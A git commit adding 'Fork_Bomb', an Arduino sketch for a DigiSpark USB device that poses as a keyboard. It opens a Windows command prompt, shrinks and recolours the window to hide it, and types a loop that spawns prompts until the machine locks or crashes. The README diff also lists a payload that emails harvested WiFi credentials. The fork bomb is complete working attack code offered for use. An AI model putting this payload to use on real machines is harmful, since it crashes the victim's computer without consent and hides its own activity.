Added Fork_Bomb and updated README.md

Fork_Bomb : Opens up an obfuscated windows terminal and makes it
multiply itself uncontrolably causing the machine to either lock or
crash.
This commit is contained in:
CedArctic 2017-05-18 10:12:15 +03:00
parent 7c4c955924
commit a014cf94fc
2 changed files with 27 additions and 0 deletions

24
Fork_Bomb/Fork_Bomb.ino Normal file
View File

@ -0,0 +1,24 @@
//This script opens up a Windows command prompt and makes it open up another instance of itself and so on until the machine can take it no more and either locks or crashes. Credits to BlackBoot.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
//Obfuscate the terminal
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//Run the fork bomb
DigiKeyboard.delay(500);
DigiKeyboard.print(F("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

View File

@ -21,7 +21,10 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di
>WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it.
>Fork_Bomb : Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash.
# Credits and resources:
p0wc0w for the original WiFi Grabber and Mailer Scripts.
BlackBoot for the original fork bomb.
hak5darren for the USB Rubber Ducky Documentation: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
Digistump for the DigiSpark and their documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h